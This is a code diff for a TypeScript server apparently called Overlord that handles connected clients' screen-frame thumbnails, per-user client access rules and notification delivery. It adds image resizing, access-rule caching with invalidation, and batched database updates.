const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920));
|
||||
const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080));
|
||||
const THUMBNAIL_QUALITY = Math.min(90, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 72)));
|
||||
const MAX_THUMBNAIL_SOURCE_BYTES = Math.max(
|
||||
256 * 1024,
|
||||
Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024),
|
||||
);
|
||||
|
||||
const thumbnails = new Map<string, string>();
|
||||
const latestFrames = new Map<string, { bytes: Uint8Array; format: string }>();
|
||||
const latestFrames = new Map<string, { bytes: Uint8Array; format: string; capturedAt: number }>();
|
||||
const thumbnailRequests = new Map<string, number>();
|
||||
|
||||
export function setThumbnail(id: string, dataUrl: string) {
|
||||
@@ -17,20 +27,55 @@ export function clearThumbnail(id: string) {
|
||||
}
|
||||
|
||||
export function setLatestFrame(id: string, bytes: Uint8Array, format: string) {
|
||||
latestFrames.set(id, { bytes, format });
|
||||
if (!bytes || bytes.byteLength === 0 || bytes.byteLength > MAX_THUMBNAIL_SOURCE_BYTES) {
|
||||
latestFrames.delete(id);
|
||||
return;
|
||||
}
|
||||
latestFrames.set(id, { bytes, format, capturedAt: Date.now() });
|
||||
}
|
||||
|
||||
export function generateThumbnail(id: string): boolean {
|
||||
async function buildThumbnailDataUrl(bytes: Uint8Array, format: string): Promise<string | null> {
|
||||
if (!bytes || bytes.byteLength === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const inputFormat = format === "jpg" ? "jpeg" : format;
|
||||
if (!["jpeg", "webp"].includes(inputFormat)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const output = await sharp(Buffer.from(bytes), { failOn: "none" })
|
||||
.rotate()
|
||||
.resize({
|
||||
width: THUMBNAIL_WIDTH,
|
||||
height: THUMBNAIL_HEIGHT,
|
||||
fit: "inside",
|
||||
withoutEnlargement: true,
|
||||
fastShrinkOnLoad: true,
|
||||
})
|
||||
.webp({ quality: THUMBNAIL_QUALITY })
|
||||
.toBuffer();
|
||||
|
||||
return `data:image/webp;base64,${output.toString("base64")}`;
|
||||
}
|
||||
|
||||
export async function generateThumbnail(id: string): Promise<boolean> {
|
||||
const frameData = latestFrames.get(id);
|
||||
if (!frameData) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const { bytes, format } = frameData;
|
||||
const b64 = Buffer.from(bytes).toString("base64");
|
||||
const mime = format === "webp" ? "image/webp" : "image/jpeg";
|
||||
thumbnails.set(id, `data:${mime};base64,${b64}`);
|
||||
return true;
|
||||
|
||||
try {
|
||||
const dataUrl = await buildThumbnailDataUrl(frameData.bytes, frameData.format);
|
||||
if (!dataUrl) {
|
||||
return false;
|
||||
}
|
||||
thumbnails.set(id, dataUrl);
|
||||
latestFrames.delete(id);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function markThumbnailRequested(id: string) {
|
||||
|
||||
@@ -44,6 +44,15 @@ export interface UserClientAccessRule {
|
||||
access: ClientAccessRuleKind;
|
||||
}
|
||||
|
||||
type UserAccessCacheEntry = {
|
||||
scope: ClientAccessScope;
|
||||
allow: Set<string>;
|
||||
deny: Set<string>;
|
||||
};
|
||||
|
||||
const userAccessCache = new Map<number, UserAccessCacheEntry>();
|
||||
let notificationDeliveryCache: UserDeliveryRow[] | null = null;
|
||||
|
||||
db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -207,10 +216,7 @@ export function listUsers(): UserInfo[] {
|
||||
}
|
||||
|
||||
export function getUserClientAccessScope(userId: number): ClientAccessScope {
|
||||
const row = db
|
||||
.prepare("SELECT client_scope FROM users WHERE id = ?")
|
||||
.get(userId) as { client_scope?: ClientAccessScope } | undefined;
|
||||
return row?.client_scope || "none";
|
||||
return getUserAccessCacheEntry(userId).scope;
|
||||
}
|
||||
|
||||
export function listUserClientAccessRules(userId: number): UserClientAccessRule[] {
|
||||
@@ -225,12 +231,54 @@ export function listUserClientRuleIdsByAccess(
|
||||
userId: number,
|
||||
access: ClientAccessRuleKind,
|
||||
): string[] {
|
||||
return db
|
||||
const entry = getUserAccessCacheEntry(userId);
|
||||
const values = access === "allowlist" ? [] : access === "allow" ? entry.allow : entry.deny;
|
||||
return Array.from(values).sort((left, right) => left.localeCompare(right));
|
||||
}
|
||||
|
||||
function invalidateUserAccessCache(userId?: number): void {
|
||||
if (userId === undefined) {
|
||||
userAccessCache.clear();
|
||||
return;
|
||||
}
|
||||
userAccessCache.delete(userId);
|
||||
}
|
||||
|
||||
function invalidateNotificationDeliveryCache(): void {
|
||||
notificationDeliveryCache = null;
|
||||
}
|
||||
|
||||
function getUserAccessCacheEntry(userId: number): UserAccessCacheEntry {
|
||||
const cached = userAccessCache.get(userId);
|
||||
if (cached) {
|
||||
return cached;
|
||||
}
|
||||
|
||||
const row = db
|
||||
.prepare("SELECT client_scope FROM users WHERE id = ?")
|
||||
.get(userId) as { client_scope?: ClientAccessScope } | undefined;
|
||||
const rules = db
|
||||
.prepare(
|
||||
"SELECT client_id as clientId FROM user_client_access_rules WHERE user_id = ? AND access = ? ORDER BY client_id ASC",
|
||||
"SELECT client_id as clientId, access FROM user_client_access_rules WHERE user_id = ?",
|
||||
)
|
||||
.all(userId, access)
|
||||
.map((row: { clientId: string }) => row.clientId);
|
||||
.all(userId) as Array<{ clientId: string; access: ClientAccessRuleKind }>;
|
||||
|
||||
const entry: UserAccessCacheEntry = {
|
||||
scope: row?.client_scope || "none",
|
||||
allow: new Set<string>(),
|
||||
deny: new Set<string>(),
|
||||
};
|
||||
|
||||
for (const rule of rules) {
|
||||
if (rule.access === "allow") {
|
||||
entry.allow.add(rule.clientId);
|
||||
} else if (rule.access === "deny") {
|
||||
entry.deny.add(rule.clientId);
|
||||
}
|
||||
}
|
||||
|
||||
userAccessCache.set(userId, entry);
|
||||
return entry;
|
||||
}
|
||||
|
||||
export function setUserClientAccessScope(
|
||||
@@ -243,6 +291,7 @@ export function setUserClientAccessScope(
|
||||
|
||||
try {
|
||||
db.prepare("UPDATE users SET client_scope = ? WHERE id = ?").run(scope, userId);
|
||||
invalidateUserAccessCache(userId);
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] setUserClientAccessScope error:", err);
|
||||
@@ -267,6 +316,7 @@ export function setUserClientAccessRule(
|
||||
db.prepare(
|
||||
"INSERT OR REPLACE INTO user_client_access_rules (user_id, client_id, access, created_at) VALUES (?, ?, ?, ?)",
|
||||
).run(userId, normalizedClientId, access, Date.now());
|
||||
invalidateUserAccessCache(userId);
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] setUserClientAccessRule error:", err);
|
||||
@@ -283,6 +333,7 @@ export function removeUserClientAccessRule(
|
||||
userId,
|
||||
clientId,
|
||||
);
|
||||
invalidateUserAccessCache(userId);
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] removeUserClientAccessRule error:", err);
|
||||
@@ -297,21 +348,16 @@ export function canUserAccessClient(
|
||||
): boolean {
|
||||
if (role === "admin") return true;
|
||||
|
||||
const scope = getUserClientAccessScope(userId);
|
||||
const access = getUserAccessCacheEntry(userId);
|
||||
const scope = access.scope;
|
||||
if (scope === "none") return false;
|
||||
if (scope === "all") return true;
|
||||
|
||||
const row = db
|
||||
.prepare(
|
||||
"SELECT access FROM user_client_access_rules WHERE user_id = ? AND client_id = ?",
|
||||
)
|
||||
.get(userId, clientId) as { access?: ClientAccessRuleKind } | undefined;
|
||||
|
||||
if (scope === "allowlist") {
|
||||
return row?.access === "allow";
|
||||
return access.allow.has(clientId);
|
||||
}
|
||||
if (scope === "denylist") {
|
||||
return row?.access !== "deny";
|
||||
return !access.deny.has(clientId);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -383,6 +429,8 @@ export async function createUser(
|
||||
)
|
||||
.run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none", role === "admin" || role === "operator" ? 1 : 0);
|
||||
|
||||
invalidateNotificationDeliveryCache();
|
||||
|
||||
return { success: true, userId: result.lastInsertRowid as number };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] Create user error:", err);
|
||||
@@ -429,6 +477,8 @@ export function updateUserRole(
|
||||
nextScope,
|
||||
userId,
|
||||
);
|
||||
invalidateUserAccessCache(userId);
|
||||
invalidateNotificationDeliveryCache();
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
console.error("[users] Update role error:", err);
|
||||
@@ -451,6 +501,8 @@ export function deleteUser(userId: number): {
|
||||
|
||||
try {
|
||||
db.prepare("DELETE FROM users WHERE id = ?").run(userId);
|
||||
invalidateUserAccessCache(userId);
|
||||
invalidateNotificationDeliveryCache();
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
console.error("[users] Delete user error:", err);
|
||||
@@ -538,6 +590,7 @@ export function setUserTelegramChatId(
|
||||
): { success: boolean; error?: string } {
|
||||
try {
|
||||
db.prepare("UPDATE users SET telegram_chat_id = ? WHERE id = ?").run(chatId, userId);
|
||||
invalidateNotificationDeliveryCache();
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] setUserTelegramChatId error:", err);
|
||||
@@ -622,6 +675,7 @@ export function updateUserNotificationSettings(
|
||||
try {
|
||||
values.push(userId);
|
||||
db.prepare(`UPDATE users SET ${fields.join(", ")} WHERE id = ?`).run(...values);
|
||||
invalidateNotificationDeliveryCache();
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] updateUserNotificationSettings error:", err);
|
||||
@@ -644,7 +698,11 @@ export interface UserDeliveryRow {
|
||||
}
|
||||
|
||||
export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
|
||||
return db
|
||||
if (notificationDeliveryCache) {
|
||||
return notificationDeliveryCache;
|
||||
}
|
||||
|
||||
notificationDeliveryCache = db
|
||||
.prepare(
|
||||
`SELECT id, username, role, client_scope,
|
||||
webhook_enabled, webhook_url, webhook_template,
|
||||
@@ -655,4 +713,12 @@ export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
|
||||
AND telegram_chat_id IS NOT NULL AND telegram_chat_id != '')`,
|
||||
)
|
||||
.all() as UserDeliveryRow[];
|
||||
|
||||
return notificationDeliveryCache;
|
||||
}
|
||||
|
||||
export function getUsersForNotificationDeliveryByClient(clientId: string): UserDeliveryRow[] {
|
||||
return getUsersForNotificationDelivery().filter((user) =>
|
||||
canUserAccessClient(user.id, user.role, clientId),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -14,6 +14,48 @@ import { metrics } from "./metrics";
|
||||
const MAX_PING_RTT_MS = 15_000;
|
||||
const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
|
||||
const lastClientDbSync = new Map<string, number>();
|
||||
const pendingClientDbUpdates = new Map<
|
||||
string,
|
||||
Partial<ClientInfo> & {
|
||||
id: string;
|
||||
lastSeen?: number;
|
||||
online?: number;
|
||||
}
|
||||
>();
|
||||
|
||||
function queueClientDbUpdate(
|
||||
partial: Partial<ClientInfo> & {
|
||||
id: string;
|
||||
lastSeen?: number;
|
||||
online?: number;
|
||||
},
|
||||
): void {
|
||||
const existing = pendingClientDbUpdates.get(partial.id);
|
||||
if (!existing) {
|
||||
pendingClientDbUpdates.set(partial.id, { ...partial });
|
||||
return;
|
||||
}
|
||||
pendingClientDbUpdates.set(partial.id, {
|
||||
...existing,
|
||||
...partial,
|
||||
id: partial.id,
|
||||
lastSeen: partial.lastSeen ?? existing.lastSeen,
|
||||
online: partial.online ?? existing.online,
|
||||
pingMs: partial.pingMs ?? existing.pingMs,
|
||||
});
|
||||
}
|
||||
|
||||
function flushQueuedClientDbUpdates(): void {
|
||||
if (pendingClientDbUpdates.size === 0) {
|
||||
return;
|
||||
}
|
||||
for (const update of pendingClientDbUpdates.values()) {
|
||||
upsertClientRow(update);
|
||||
}
|
||||
pendingClientDbUpdates.clear();
|
||||
}
|
||||
|
||||
setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
|
||||
|
||||
function shouldSyncClientToDb(clientId: string, now: number): boolean {
|
||||
const last = lastClientDbSync.get(clientId) || 0;
|
||||
@@ -26,6 +68,7 @@ function shouldSyncClientToDb(clientId: string, now: number): boolean {
|
||||
|
||||
export function clearClientSyncState(clientId: string): void {
|
||||
lastClientDbSync.delete(clientId);
|
||||
pendingClientDbUpdates.delete(clientId);
|
||||
}
|
||||
|
||||
export function handleHello(
|
||||
@@ -81,7 +124,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
|
||||
info.lastSeen = now;
|
||||
info.online = true;
|
||||
if (shouldSyncClientToDb(info.id, now)) {
|
||||
upsertClientRow({
|
||||
queueClientDbUpdate({
|
||||
id: info.id,
|
||||
lastSeen: info.lastSeen,
|
||||
online: 1,
|
||||
@@ -136,7 +179,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
|
||||
if (rtt >= 0 && rtt < maxRttMs) {
|
||||
info.pingMs = rtt;
|
||||
upsertClientRow({
|
||||
queueClientDbUpdate({
|
||||
id: info.id,
|
||||
pingMs: info.pingMs,
|
||||
lastSeen: info.lastSeen,
|
||||
@@ -147,7 +190,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
metrics.recordPing(rtt);
|
||||
} else {
|
||||
if (shouldSyncClientToDb(info.id, nowTs)) {
|
||||
upsertClientRow({
|
||||
queueClientDbUpdate({
|
||||
id: info.id,
|
||||
lastSeen: info.lastSeen,
|
||||
online: 1,
|
||||
@@ -192,14 +235,16 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
||||
|
||||
if (safeFormat) {
|
||||
const now = Date.now();
|
||||
setLatestFrame(info.id, bytes, safeFormat);
|
||||
if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) {
|
||||
generateThumbnail(info.id);
|
||||
const thumbnailRequested = consumeThumbnailRequest(info.id);
|
||||
const hasThumbnail = Boolean(getThumbnail(info.id));
|
||||
if (thumbnailRequested || !hasThumbnail) {
|
||||
setLatestFrame(info.id, bytes, safeFormat);
|
||||
void generateThumbnail(info.id);
|
||||
}
|
||||
info.lastSeen = now;
|
||||
info.online = true;
|
||||
if (shouldSyncClientToDb(info.id, now)) {
|
||||
upsertClientRow({ id: info.id, lastSeen: now, online: 1 });
|
||||
queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1 });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user